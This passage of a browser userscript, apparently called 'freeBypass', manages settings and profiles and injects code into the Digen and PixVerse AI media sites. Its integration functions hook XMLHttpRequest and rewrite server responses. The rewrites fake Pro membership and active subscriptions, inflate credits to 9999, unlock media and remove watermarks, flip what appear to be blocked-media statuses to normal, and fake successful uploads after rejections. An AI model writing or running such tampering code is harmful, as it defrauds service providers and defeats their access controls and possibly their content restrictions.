    overlay.style.cssText = `position:fixed; inset:0; z-index:10000006; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.78))' : 'rgba(0,0,0,0.78)'}; backdrop-filter: blur(10px); display:flex; align-items:center; justify-content:center;`;
    const dialog = document.createElement('div');
    dialog.style.cssText = `width:92%; max-width:780px; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:18px; color:${colors.text}; box-shadow:0 30px 100px rgba(0,0,0,0.75); max-height:85vh; overflow:auto;`;

    const changeList = (changes || []).slice(0, 120).map(k => `<li style="margin:4px 0; font-family:Consolas, 'Courier New', monospace;">${escapeHtml(k)}</li>`).join('');
    const skippedList = (skipped || []).slice(0, 60).map(s => `<li style="margin:4px 0;"><span style="font-family:Consolas, 'Courier New', monospace;">${escapeHtml(s.key)}</span> — <span style="color:${colors.textSecondary};">${escapeHtml(s.reason)}</span></li>`).join('');

    dialog.innerHTML = `
      <div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
        <div style="font-weight:900; font-size:15px;"><i class="fas fa-file-import"></i> Import Settings</div>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
      </div>
      <div style="font-size:12px; color:${colors.textSecondary}; line-height:1.6;">
        File: <strong>${escapeHtml(fileName || 'settings.json')}</strong><br>
        Script version in file: <strong>${escapeHtml(version || 'unknown')}</strong>
      </div>
      <div style="margin-top:12px; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary};">
        <div style="display:flex; flex-wrap:wrap; gap:10px; align-items:center; justify-content:space-between;">
          <div style="font-weight:800; font-size:12px;">Summary</div>
          <div style="font-size:11px; color:${colors.textSecondary};">Sensitive fields (tokens/webhooks/headers) are preserved and will <strong>not</strong> be imported.</div>
        </div>
        <div style="margin-top:6px; font-size:12px;">
          <strong>${(changes || []).length}</strong> setting(s) will change.
          ${skipped && skipped.length ? ` <strong style=\"color:${colors.warning};\">${skipped.length}</strong> field(s) were skipped due to type mismatch.` : ''}
        </div>
      </div>
      <details style="margin-top:12px; border:1px solid ${colors.border}; border-radius:12px; padding:10px 12px; background:${colors.bgSecondary};">
        <summary style="cursor:pointer; font-weight:800; font-size:12px; color:${colors.text};">Changed keys</summary>
        <ul style="margin:8px 0 0 0; padding-left:18px; font-size:12px; color:${colors.textSecondary};">${changeList || '<li>None</li>'}</ul>
      </details>
      ${skipped && skipped.length ? `
        <details style="margin-top:10px; border:1px solid ${colors.border}; border-radius:12px; padding:10px 12px; background:${colors.bgSecondary};">
          <summary style="cursor:pointer; font-weight:800; font-size:12px; color:${colors.text};">Skipped keys</summary>
          <ul style="margin:8px 0 0 0; padding-left:18px; font-size:12px; color:${colors.textSecondary};">${skippedList}</ul>
        </details>
      ` : ''}
      <div style="display:flex; gap:10px; justify-content:flex-end; margin-top:14px;">
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Cancel</button>
        <button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px; font-weight:900;" data-ok>Import</button>
      </div>
    `;

    const close = () => overlay.remove();
    dialog.querySelector('[data-x]').onclick = close;
    dialog.querySelector('[data-cancel]').onclick = close;
    dialog.querySelector('[data-ok]').onclick = () => {
      close();
      if (onConfirm) onConfirm();
    };
    overlay.appendChild(dialog);
    overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
    document.body.appendChild(overlay);
  }

  function getExportableSettings() {
    // Export only known keys (from defaultSettings) and exclude sensitive tokens/webhooks/headers.
    const out = {};
    for (const key of buildSettingsAllowList()) {
      if (key in settings) {
        out[key] = deepCloneValue(settings[key]);
      }
    }
    return out;
  }

  function exportSettings() {
    const exportData = {
      version: SCRIPT_VERSION,
      exportedAt: new Date().toISOString(),
      settings: getExportableSettings()
    };

    const blob = new Blob([JSON.stringify(exportData, null, 2)], { type: 'application/json' });
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = `bypass-settings-${Date.now()}.json`;
    a.click();
    URL.revokeObjectURL(url);
    showToast('Settings exported successfully', 'success');
  }

  function importSettings() {
    const input = document.createElement('input');
    input.type = 'file';
    input.accept = '.json';
    input.onchange = async (e) => {
      const file = e.target.files[0];
      if (!file) return;

      try {
        const text = await file.text();
        const data = JSON.parse(text);

        // Validate structure
        if (!data.settings || typeof data.settings !== 'object') {
          showToast('Invalid settings file format', 'error');
          return;
        }

        const before = deepCloneValue(settings);
        const sanitized = sanitizeImportedSettings(data.settings);
        const merged = { ...settings };

        // Apply sanitized settings with safe merges for nested objects.
        Object.assign(merged, sanitized.settings);
        if (sanitized.settings.position) {
          merged.position = { ...settings.position, ...sanitized.settings.position };
        }
        if (sanitized.settings.telegramIncludeData) {
          merged.telegramIncludeData = { ...settings.telegramIncludeData, ...sanitized.settings.telegramIncludeData };
        }
        if (sanitized.settings.detailedInfoFields) {
          merged.detailedInfoFields = { ...settings.detailedInfoFields, ...sanitized.settings.detailedInfoFields };
        }

        // Preserve sensitive fields regardless of import contents.
        merged.headers = settings.headers;
        merged.telegramToken = settings.telegramToken;
        merged.telegramChatId = settings.telegramChatId;
        merged.discordWebhook = settings.discordWebhook;

        // Always ensure defaults exist.
        merged.headers = { ...defaultSettings.headers, ...(merged.headers || {}) };
        merged.position = { ...defaultSettings.position, ...(merged.position || {}) };
        merged.telegramIncludeData = { ...defaultSettings.telegramIncludeData, ...(merged.telegramIncludeData || {}) };
        merged.detailedInfoFields = { ...defaultSettings.detailedInfoFields, ...(merged.detailedInfoFields || {}) };

        const changes = diffSettings(before, merged);
        showSettingsImportConfirmDialog({
          fileName: file.name,
          version: data.version,
          changes,
          skipped: sanitized.skipped,
          onConfirm: () => {
            settings = merged;
            saveSettings();
            showToast('Settings imported successfully', 'success');
            updateUI();
            setTimeout(() => window.location.reload(), 900);
          }
        });
      } catch (err) {
        showToast('Failed to import settings: ' + err.message, 'error');
      }
    };
    input.click();
  }

  function saveSettingsProfile() {
    showProfileNameDialog((profileName) => {
      if (!profileName) return;

      const profiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
      profiles[profileName] = getExportableSettings();
      localStorage.setItem('freeBypassSettingsProfiles', JSON.stringify(profiles));
      localStorage.setItem('freeBypassCurrentProfile', profileName);

      showToast(`Profile "${profileName}" saved`, 'success');
      updateUI();
    });
  }

  function loadSettingsProfile(profileName) {
    const profiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
    const profile = profiles[profileName];
    if (!profile) {
      showToast('Profile not found', 'error');
      return;
    }

    // Keep sensitive data
    const currentSensitive = {
      headers: settings.headers,
      telegramToken: settings.telegramToken,
      telegramChatId: settings.telegramChatId,
      discordWebhook: settings.discordWebhook
    };

    settings = {
      ...defaultSettings,
      ...profile,
      ...currentSensitive
    };

    saveSettings();
    localStorage.setItem('freeBypassCurrentProfile', profileName);
    showToast(`Profile "${profileName}" loaded`, 'success');
    updateUI();

    // Reload to apply changes
    setTimeout(() => window.location.reload(), 1000);
  }

  function deleteSettingsProfile(profileName) {
    showConfirmDialog(`Delete profile "${profileName}"? This cannot be undone.`, () => {
      const profiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
      delete profiles[profileName];
      localStorage.setItem('freeBypassSettingsProfiles', JSON.stringify(profiles));

      const currentProfile = localStorage.getItem('freeBypassCurrentProfile');
      if (currentProfile === profileName) {
        localStorage.setItem('freeBypassCurrentProfile', 'Default');
      }

      showToast(`Profile "${profileName}" deleted`, 'success');
      updateUI();
    });
  }

  // Task Profiles Functions
  function getTaskProfiles() {
    return JSON.parse(localStorage.getItem(TASK_PROFILES_KEY) || '{}');
  }

  function saveTaskProfiles(profiles) {
    localStorage.setItem(TASK_PROFILES_KEY, JSON.stringify(profiles));
  }

  function createTaskProfile(profileName) {
    const profiles = getTaskProfiles();
    if (profiles[profileName]) {
      showToast('Profile already exists', 'error');
      return false;
    }
    profiles[profileName] = { name: profileName, tasks: [], createdAt: Date.now() };
    saveTaskProfiles(profiles);
    showToast(`Profile "${profileName}" created`, 'success');
    return true;
  }

  function addTaskToProfile(taskId, taskData, profileName, method = 'copy') {
    const profiles = getTaskProfiles();
    const profile = profiles[profileName];
    if (!profile) return false;

    const taskEntry = {
      taskId: taskId,
      taskData: taskData,
      addedAt: Date.now(),
      method: method
    };

    // Check if task already exists
    const existing = profile.tasks.findIndex(t => t.taskId === taskId);
    if (existing >= 0) {
      profile.tasks[existing] = taskEntry;
    } else {
      profile.tasks.push(taskEntry);
    }

    saveTaskProfiles(profiles);
    return true;
  }

  function removeTaskFromProfile(taskId, profileName) {
    const profiles = getTaskProfiles();
    const profile = profiles[profileName];
    if (!profile) return false;

    profile.tasks = profile.tasks.filter(t => t.taskId !== taskId);
    saveTaskProfiles(profiles);
    return true;
  }

  function deleteTaskProfile(profileName) {
    const profiles = getTaskProfiles();
    delete profiles[profileName];
    saveTaskProfiles(profiles);
    showToast(`Profile "${profileName}" deleted`, 'success');
  }

  function showProfileNameDialog(callback) {
    const dialogOverlay = document.createElement('div');
    dialogOverlay.style.cssText = `
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: rgba(0, 0, 0, 0.7);
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 999999;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: #1e293b;
      border: 1px solid #475569;
      border-radius: 12px;
      padding: 24px;
      max-width: 400px;
      width: 90%;
      box-shadow: 0 20px 60px rgba(0, 0, 0, 0.8);
    `;

    const title = document.createElement('h2');
    title.textContent = 'Create Task Profile';
    title.style.cssText = `
      color: #f1f5f9;
      font-size: 18px;
      font-weight: 600;
      margin: 0 0 12px 0;
    `;

    const description = document.createElement('p');
    description.textContent = 'Enter a name for your new task profile:';
    description.style.cssText = `
      color: #cbd5e1;
      font-size: 13px;
      margin: 0 0 16px 0;
    `;

    const input = document.createElement('input');
    input.type = 'text';
    input.placeholder = 'Profile name (e.g., "Portraits", "Landscapes")';
    input.style.cssText = `
      width: 100%;
      padding: 10px 12px;
      border: 1px solid #475569;
      border-radius: 8px;
      background: #0f1729;
      color: #f1f5f9;
      font-size: 14px;
      box-sizing: border-box;
      margin-bottom: 16px;
      transition: border-color 0.2s;
    `;
    input.addEventListener('focus', () => input.style.borderColor = '#6366f1');
    input.addEventListener('blur', () => input.style.borderColor = '#475569');

    const buttonsRow = document.createElement('div');
    buttonsRow.style.cssText = `
      display: flex;
      gap: 8px;
      justify-content: flex-end;
    `;

    const cancelBtn = document.createElement('button');
    cancelBtn.textContent = 'Cancel';
    cancelBtn.style.cssText = `
      padding: 8px 16px;
      border: 1px solid #475569;
      background: transparent;
      color: #cbd5e1;
      border-radius: 6px;
      cursor: pointer;
      font-size: 13px;
      font-weight: 500;
      transition: all 0.2s;
    `;
    cancelBtn.addEventListener('hover', () => cancelBtn.style.background = 'rgba(71, 85, 105, 0.3)');
    cancelBtn.onclick = () => {
      dialogOverlay.remove();
      callback(null);
    };

    const createBtn = document.createElement('button');
    createBtn.textContent = 'Create Profile';
    createBtn.style.cssText = `
      padding: 8px 16px;
      border: 1px solid #6366f1;
      background: linear-gradient(135deg, #6366f1, #8b5cf6);
      color: #ffffff;
      border-radius: 6px;
      cursor: pointer;
      font-size: 13px;
      font-weight: 600;
      transition: all 0.2s;
    `;
    createBtn.addEventListener('mouseover', () => createBtn.style.opacity = '0.8');
    createBtn.addEventListener('mouseout', () => createBtn.style.opacity = '1');
    createBtn.onclick = () => {
      const name = input.value.trim();
      if (!name) {
        showToast('Profile name cannot be empty', 'error');
        return;
      }
      dialogOverlay.remove();
      callback(name);
    };

    input.addEventListener('keypress', (e) => {
      if (e.key === 'Enter') createBtn.click();
    });

    buttonsRow.appendChild(cancelBtn);
    buttonsRow.appendChild(createBtn);

    dialog.appendChild(title);
    dialog.appendChild(description);
    dialog.appendChild(input);
    dialog.appendChild(buttonsRow);

    dialogOverlay.appendChild(dialog);
    document.body.appendChild(dialogOverlay);

    setTimeout(() => input.focus(), 100);
  }

  function syncSettingsAcrossDomains() {
    if (!settings.tensorhubShareSettings) return;

    // Use a shared localStorage key for cross-domain settings
    const sharedKey = 'freeBypassSharedSettings';
    const exportable = getExportableSettings();
    const payload = JSON.stringify(exportable);
    const existing = localStorage.getItem(sharedKey);
    if (existing === payload) return;
    localStorage.setItem(sharedKey, payload);

    if (domInjectDebug) console.log('[Settings] Synced settings across domains');
  }

  function loadSharedSettings() {
    if (!settings.tensorhubShareSettings) return false;

    try {
      const sharedKey = 'freeBypassSharedSettings';
      const shared = localStorage.getItem(sharedKey);
      if (!shared) return false;

      const sharedSettings = JSON.parse(shared);

      // Keep sensitive data
      const currentSensitive = {
        headers: settings.headers,
        telegramToken: settings.telegramToken,
        telegramChatId: settings.telegramChatId,
        discordWebhook: settings.discordWebhook
      };

      settings = {
        ...defaultSettings,
        ...sharedSettings,
        ...currentSensitive
      };

      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      if (domInjectDebug) console.log('[Settings] Loaded shared settings');
      return true;
    } catch (err) {
      console.warn('[Settings] Failed to load shared settings:', err);
      return false;
    }
  }

  // ============================================================================
  // DIGEN INTEGRATION (domain-gated)
  // ============================================================================

  function initDigenIntegration() {
    const DIGEN_PREFIX = '[freeinterenmt digen]';
    let digenInitialized = false;

    const digenLog = (message, details = null, level = 'info') => {
      if (level === 'error') {
        console.error(DIGEN_PREFIX, message, details || '');
      } else {
        console.log(DIGEN_PREFIX, message, details || '');
      }
      addDigenUiLog(level, message, details);
    };

    function digenDispatchItemsUpdated() {
      try {
        window.dispatchEvent(new Event('freeBypassDigenItemsUpdated'));
      } catch {
        // ignore
      }
      if (settings.digenAutoRefreshItems && IS_DIGEN_DOMAIN && (currentTab === 'home' || currentTab === 'digenBackground')) {
        scheduleUIRefresh();
      }
    }

    function digenModifyResourceList(data) {
      if (!data?.data?.list || !Array.isArray(data.data.list)) return data;
      const list = data.data.list.map((item) => {
        const normalized = settings.digenEnableProBypass ? { ...item, isPro: 1 } : item;
        if (settings.digenCaptureItems && normalized?.resource_urls?.[0]?.thumbnail) {
          upsertDigenJob(normalized, 'resource_list_v2').then(() => digenDispatchItemsUpdated()).catch(() => {});
        }
        return normalized;
      });
      digenLog('Processed scene resource list', { count: list.length });
      return {
        ...data,
        data: {
          ...data.data,
          list
        }
      };
    }

    function digenModifyQueueList(data) {
      if (!Array.isArray(data?.data?.list)) return data;
      const list = data.data.list.map((item) => {
        if (settings.digenCaptureItems && item?.thumbnail) {
          upsertDigenJob(item, 'queue_list').then(() => digenDispatchItemsUpdated()).catch(() => {});
        }
        return settings.digenEnableProBypass ? { ...item, isPro: 1 } : item;
      });
      digenLog('Processed queue list', { count: list.length });
      return {
        ...data,
        data: {
          ...data.data,
          list
        }
      };
    }

    function digenModifyCreditRemain(data) {
      if (data?.errMsg !== 'success') return data;
      const before = {
        subscribeStatus: data?.data?.subscribeStatus,
        isMember: data?.data?.isMember,
        productID: data?.data?.productID
      };
      if (!settings.digenEnableProBypass) {
        digenLog('Credit endpoint observed (pro bypass disabled)', before, 'warn');
        return data;
      }

      const modified = {
        ...data,
        data: {
          ...(data?.data || {}),
          subscribeStatus: 'active',
          isMember: true,
          productID: data?.data?.productID || 'ultra'
        }
      };
      digenLog('Applied credit/pro normalization', {
        overwrite: {
          subscribeStatus: { from: before.subscribeStatus, to: modified.data.subscribeStatus },
          isMember: { from: before.isMember, to: modified.data.isMember },
          productID: { from: before.productID, to: modified.data.productID }
        }
      }, 'success');
      return modified;
    }

    function digenModifyResponse(data, url, body) {
      if (!data || typeof data !== 'object') return null;

      if (url.includes('/v1/scene/resource_list_v2')) return digenModifyResourceList(data);
      if (url.includes('/v1/queue/list')) return digenModifyQueueList(data);

      if (url.includes('/v2/tools/text_to_image')) {
        if (settings.digenCaptureItems && data?.data?.itemId) {
          upsertDigenJob({
            id: Number(data.data.itemId),
            jobId: data?.data?.id,
            createdAtTimestamp: Date.now(),
            status: data?.data?.status
          }, 'text_to_image').then(() => digenDispatchItemsUpdated()).catch(() => {});
        }
        return data;
      }

      if (url.includes('/v6/video/get_task_v2') && data?.data?.status !== 3) {
        let parsedBody = body;
        try {
          if (parsedBody instanceof FormData) {
            parsedBody = Object.fromEntries(parsedBody);
          } else if (typeof parsedBody === 'string') {
            parsedBody = JSON.parse(parsedBody || '{}');
          }
        } catch {
          parsedBody = {};
        }

        if (settings.digenCaptureItems && parsedBody?.jobID) {
          digenJobs.getAll(item => item?.jobId === parsedBody?.jobID).then((items) => {
            if (!items?.length) return;
            return upsertDigenJob({ ...items[0], ...data.data }, 'get_task_v2').then(() => digenDispatchItemsUpdated());
          }).catch(() => {});
        }

        if (settings.digenEnableProBypass) {
          return {
            ...data,
            data: {
              ...data.data,
              isPro: 1
            }
          };
        }
        return data;
      }

      if (url.includes('/v1/credit/remain')) {
        return digenModifyCreditRemain(data);
      }

      return null;
    }

    function digenOverrideXHR() {
      try {
        const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
        const originalOpen = pageWindow.XMLHttpRequest.prototype.open;
        const originalSend = pageWindow.XMLHttpRequest.prototype.send;
        const originalSetRequestHeader = pageWindow.XMLHttpRequest.prototype.setRequestHeader;

        pageWindow.XMLHttpRequest.prototype.open = function (method, url) {
          this._digenRequestUrl = url;
          this._digenHeaders = {};
          return originalOpen.apply(this, arguments);
        };

        pageWindow.XMLHttpRequest.prototype.setRequestHeader = function (header, value) {
          this._digenHeaders[header] = value;
          return originalSetRequestHeader.apply(this, arguments);
        };

        pageWindow.XMLHttpRequest.prototype.send = function (body) {
          let currentBody = body;
          const url = this._digenRequestUrl || '';
          const self = this;

          const loadHandler = function () {
            if (self.status >= 200 && self.status < 300) {
              try {
                if (self.responseType !== 'arraybuffer') {
                  const responseBody = self.responseType === 'json' ? self.response : JSON.parse(self.responseText || '{}');
                  const modified = digenModifyResponse(responseBody, url, currentBody);
                  if (modified) {
                    Object.defineProperties(self, {
                      response: { value: modified, writable: true, configurable: true },
                      responseText: { value: JSON.stringify(modified), writable: true, configurable: true }
                    });
                    digenLog('XHR response modified', { url });
                  }
                }
              } catch (e) {
                digenLog('XHR response processing error', { url, error: String(e?.message || e) }, 'error');
              }
            }
          };

          self.addEventListener('load', loadHandler, { once: true });
          return originalSend.apply(self, [currentBody]);
        };

        digenLog('XHR overrides initialized');
      } catch (e) {
        digenLog('XHR override failed', { error: String(e?.message || e) }, 'error');
      }
    }

    function digenInitialize() {
      if (digenInitialized) return;
      try {
        digenOverrideXHR();
        digenInitialized = true;
        digenLog('Digen module initialized', { domain: window.location.hostname }, 'success');
      } catch (e) {
        digenLog('Digen initialization failed', { error: String(e?.message || e) }, 'error');
      }
    }

    digenInitialize();
  }

  // ============================================================================
  // PIXVERSE INTEGRATION (domain-gated)
  // ============================================================================

  function initPixverseIntegration() {
    const PIXVERSE_PREFIX = '[freeinterenmt pixverse]';
    let pixverseSavedMediaPath = null;
    let pixverseInitialized = false;
    let pixverseBtnAttached = false;
    let pixverseFetchPatched = false;

    const pixverseUiLog = (level, message, details = null) => {
      if (level === 'error') {
        console.error(PIXVERSE_PREFIX, message, details || '');
      } else {
        console.log(PIXVERSE_PREFIX, message, details || '');
      }
      addPixverseUiLog(level, message, details);
    };
    const pixverseLog = (message, details = null) => pixverseUiLog('info', message, details);
    const pixverseWarn = (message, details = null) => pixverseUiLog('warn', message, details);
    const pixverseError = (message, details = null) => pixverseUiLog('error', message, details);

    const pvWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;

    const pixverseSafeJsonParse = (input, fallback = {}) => {
      try {
        if (typeof input !== 'string') return fallback;
        return JSON.parse(input);
      } catch {
        return fallback;
      }
    };

    function pixverseExtractMediaPath(data, url) {
      if (!data) return null;
      if (url.includes('/media/batch_upload_media')) {
        return data?.images?.[0]?.path || null;
      }
      if (url.includes('/media/upload')) {
        return data?.path || null;
      }
      return null;
    }

    function pixverseIsDefaultPreviewUrl(url) {
      const value = String(url || '').toLowerCase();
      if (!value) return false;
      return value.includes('pixverse-preview') || value.includes('default.mp4') || value.includes('default.webm');
    }

    function pixverseTryModifyCredits(data, url = '') {
      if (!settings.pixverseEnableCreditsBypass) {
        pixverseWarn('Credits endpoint seen but bypass disabled', { url });
        return null;
      }

      const hasOwn = (obj, key) => !!obj && Object.prototype.hasOwnProperty.call(obj, key);
      const overwrite = {};
      let changed = false;

      const setIfPresent = (obj, key, value) => {
        if (!hasOwn(obj, key)) return;
        const from = obj[key];
        if (from !== value) {
          obj[key] = value;
          overwrite[key] = { from, to: value };
          changed = true;
        }
      };

      if (hasOwn(data?.Resp, 'credits')) {
        setIfPresent(data.Resp, 'credits', 100);
      } else if (hasOwn(data, 'credits')) {
        setIfPresent(data, 'credits', 100);
      } else if (hasOwn(data?.Resp?.data, 'credits')) {
        setIfPresent(data.Resp.data, 'credits', 100);
      }

      const resp = data?.Resp;
      if (resp && typeof resp === 'object') {
        // New payload variant from /creative_platform/user/credits
        setIfPresent(resp, 'credit_daily', 9999);
        setIfPresent(resp, 'credit_monthly', 9999);
        setIfPresent(resp, 'credit_package', 9999);
        setIfPresent(resp, 'renewal_credits', 9999);
        setIfPresent(resp, 'effect_daily', 9999);
        setIfPresent(resp, 'high_quality_times', 9999);
        setIfPresent(resp, 'agent_template_free_times', 9999);
        setIfPresent(resp, 'preview_mode_free_times', 9999);
        setIfPresent(resp, 'upscale_preview_free_times', 9999);
        setIfPresent(resp, 'story_free_times', 9999);
        setIfPresent(resp, 'image_free_365', 1);
      }

      if (changed) {
        pixverseUiLog('success', 'Credits overwrite applied', {
          url,
          overwrite,
          errCode: data?.ErrCode ?? null
        });
        return data;
      }

      pixverseWarn('Credits endpoint matched but no writable credits field', {
        url,
        topLevelKeys: Object.keys(data || {}).slice(0, 30),
        respKeys: Object.keys(data?.Resp || {}).slice(0, 30)
      });
      return null;
    }

    function pixverseSaveUploadedMediaPath(data) {
      const mediaPaths = pixverseSafeJsonParse(localStorage.getItem('mediaPaths'), {});
      const resolvedUrl = String(data.url || '').replace(
        /^https?:\/\/pixverse-fe-upload\.oss-us-west-1\.aliyuncs\.com\//,
        'https://media.pixverse.ai/'
      );
      const mediaType = String(data?.path || '').includes('.mp4') ? 'video' : 'image';
      mediaPaths[data.asset_id] = {
        ...data,
        url: resolvedUrl,
        asset_type: String(data?.path || '').includes('.mp4') ? 1 : 0
      };
      localStorage.setItem('mediaPaths', JSON.stringify(mediaPaths));
      upsertPixverseMediaEntry({
        source: 'upload',
        type: mediaType,
        taskId: data.asset_id,
        mediaId: data.asset_id,
        url: resolvedUrl,
        previewUrl: data?.image_url || data?.last_frame || resolvedUrl,
        raw: data
      });
      pixverseLog('Captured uploaded media', { assetId: data.asset_id, type: mediaType });
    }

    function pixverseModifyLibraryList(data, body) {
      if (!data?.Resp?.data) return data;

      const videoList = pixverseSafeJsonParse(localStorage.getItem('videoList'), {});
      const imageList = pixverseSafeJsonParse(localStorage.getItem('imageList'), {});

      let parsedBody = {};
      try {
        parsedBody = typeof body === 'string' ? JSON.parse(body) : (body || {});
      } catch {
        // ignore
      }

      const items = Array.isArray(data.Resp.data) ? [...data.Resp.data] : [];
      if (parsedBody?.asset_source === 0) {
        const mediaPaths = pixverseSafeJsonParse(localStorage.getItem('mediaPaths'), {});
        for (const [key, value] of Object.entries(mediaPaths)) {
          if (items.findIndex(item => item.asset_id === key) === -1) {
            if (
              (parsedBody?.tab === 'image' && value.asset_type === 0)
              || (parsedBody?.tab === 'video' && value.asset_type === 1)
            ) {
              const createdAt = new Date().toISOString();
              items.push({
                ...(items[0] || {}),
                ...value,
                asset_source: 0,
                asset_type: value.asset_type,
                name: value.path,
                created_at: createdAt,
                updated_at: createdAt,
                image_url: value?.image_url || value?.last_frame
              });
            }
          }
        }
      }

      return {
        ...data,
        Resp: {
          ...data.Resp,
          data: items.map(item => {
            if (item?.asset_source === 0) {
              const inferredIsVideo = Number(item.asset_type) === 1 || String(item.mime_type || '').startsWith('video/') || String(item.url || '').includes('.mp4');
              const inferredUrl = item.url
                || item.video_url
                || item.image_url
                || (item.video_path ? `https://media.pixverse.ai/${item.video_path}` : '')
                || '';
              const inferredPreview = item.last_frame || item.first_frame || item.image_url || item.thumbnail_url || '';

              if (inferredUrl) {
                upsertPixverseMediaEntry({
                  source: 'library',
                  type: inferredIsVideo ? 'video' : 'image',
                  taskId: item.task_id || item.id || item.asset_id || item.video_id || item.image_id,
                  mediaId: item.video_id || item.image_id || item.asset_id || item.id,
                  url: inferredUrl,
                  previewUrl: inferredPreview,
                  raw: item
                });
              }

              return item;
            }

            switch (item?.asset_type) {
              case 0: {
                const imageUrl = imageList[item.image_id] || item.image_url;
                const statusOverwritten = Number(item.image_status) === 7;
                const originalImageUrl = item.image_url || null;
                const newItem = {
                  ...item,
                  image_status: Number(item.image_status) === 7 ? 1 : item.image_status,
                  media_locked: 0,
                  remove_watermark: 1,
                  image_url: imageUrl
                };

                if (!imageList[item.image_id] && imageUrl) {
                  imageList[item.image_id] = imageUrl;
                  localStorage.setItem('imageList', JSON.stringify(imageList));
                }

                if (imageUrl) {
                  upsertPixverseMediaEntry({
                    source: 'library',
                    type: 'image',
                    taskId: item.task_id || item.id || item.image_id,
                    mediaId: item.image_id,
                    url: imageUrl,
                    previewUrl: imageUrl,
                    raw: item
                  });
                }

                if (statusOverwritten || (originalImageUrl && imageUrl && originalImageUrl !== imageUrl)) {
                  pixverseUiLog('info', 'Library image normalized', {
                    imageId: item.image_id,
                    overwrite: {
                      ...(statusOverwritten ? { image_status: { from: 7, to: 1 } } : {}),
                      ...((originalImageUrl && imageUrl && originalImageUrl !== imageUrl) ? { image_url: { from: originalImageUrl, to: imageUrl } } : {})
                    }
                  });
                }

                return newItem;
              }
              case 1: {
                const itemUrl = String(item.url || '');
                const itemVideoUrl = String(item.video_url || '');
                const previewBlocked = pixverseIsDefaultPreviewUrl(itemUrl) || pixverseIsDefaultPreviewUrl(itemVideoUrl);

                const videoPathFromItemUrl = (typeof item.url === 'string' && item.url.includes('media.pixverse.ai/') && !previewBlocked)
                  ? decodeURIComponent(item.url.split('media.pixverse.ai/')[1].split('?')[0])
                  : '';

                // Match standalone pixverse.js logic: prefer cached/local video path over item.url
                const videoPath = videoList[item.video_id] || item.video_path || videoPathFromItemUrl;
                const videoUrl = videoPath
                  ? `https://media.pixverse.ai/${videoPath}`
                  : (previewBlocked ? '' : (item.url || item.video_url || ''));
                const statusOverwritten = Number(item.video_status) === 7;
                const originalVideoUrl = item.url || item.video_url || null;
                const newItem = {
                  ...item,
                  video_status: Number(item.video_status) === 7 ? 1 : item.video_status,
                  media_locked: 0,
                  remove_watermark: 1,
                  first_frame: (item.extended === 1 && item.customer_paths?.customer_video_last_frame_url)
                    || item.customer_paths?.customer_img_url
                    || item.last_frame
                    || item.thumbnail_url
                    || '',
                  url: videoUrl
                };

                if (!videoList[item.video_id] && videoPath) {
                  videoList[item.video_id] = videoPath;
                  localStorage.setItem('videoList', JSON.stringify(videoList));
                }

                if (videoUrl) {
                  upsertPixverseMediaEntry({
                    source: 'library',
                    type: 'video',
                    taskId: item.task_id || item.id || item.video_id,
                    mediaId: item.video_id,
                    url: videoUrl,
                    previewUrl: newItem.first_frame || item.image_url || '',
                    raw: item
                  });
                }

                if (previewBlocked && videoPath) {
                  pixverseUiLog('success', 'Replaced preview/blocked video URL from cached path', {
                    videoId: item.video_id,
                    from: originalVideoUrl,
                    to: videoUrl
                  });
                }

                if (statusOverwritten || (originalVideoUrl && videoUrl && originalVideoUrl !== videoUrl)) {
                  pixverseUiLog('info', 'Library video normalized', {
                    videoId: item.video_id,
                    overwrite: {
                      ...(statusOverwritten ? { video_status: { from: 7, to: 1 } } : {}),
                      ...((originalVideoUrl && videoUrl && originalVideoUrl !== videoUrl) ? { url: { from: originalVideoUrl, to: videoUrl } } : {})
                    }
                  });
                }

                return newItem;
              }
              default:
                return item;
            }
          })
        }
      };
    }

    function pixverseModifyLibraryListVideo(data, body) {
      if (!data?.Resp?.last_frame) return data;

      const mediaPaths = pixverseSafeJsonParse(localStorage.getItem('mediaPaths'), {});
      let parsedBody = {};
      try {
        parsedBody = typeof body === 'string' ? JSON.parse(body) : (body || {});
      } catch {
        // ignore
      }

      for (const [key, value] of Object.entries(mediaPaths)) {
        if (parsedBody.video_path === value.path && !value?.last_frame) {
          mediaPaths[key].last_frame = data?.Resp?.last_frame;
          localStorage.setItem('mediaPaths', JSON.stringify(mediaPaths));
        }
      }

      return data;
    }

    function pixverseModifyBatchUpload(data) {
      if ([400, 403, 401].includes(data?.ErrCode) && pixverseSavedMediaPath) {
        const imageId = Date.now();
        const imageName = pixverseSavedMediaPath.split('/').pop() || 'uploaded_media';
        return {
          ErrCode: 0,
          ErrMsg: 'success',
          Resp: {
            result: [{
              id: imageId,
              category: 0,
              err_msg: '',
              name: imageName,
              path: pixverseSavedMediaPath,
              size: 0,
              url: `https://media.pixverse.ai/${pixverseSavedMediaPath}`
            }]
          }
        };
      }
      return data;
    }

    function pixverseModifySingleUpload(data) {
      if ([400040, 500063, 403, 401].includes(data?.ErrCode) && pixverseSavedMediaPath) {
        pixverseLog('Bypassing upload error via saved media path', {
          errCode: data?.ErrCode,
          savedMediaPath: pixverseSavedMediaPath
        });
        return {
          ErrCode: 0,
          ErrMsg: 'success',
          Resp: {
            path: pixverseSavedMediaPath,
            url: `https://media.pixverse.ai/${pixverseSavedMediaPath}`,
            name: pixverseSavedMediaPath.split('/').pop() || 'uploaded_media',
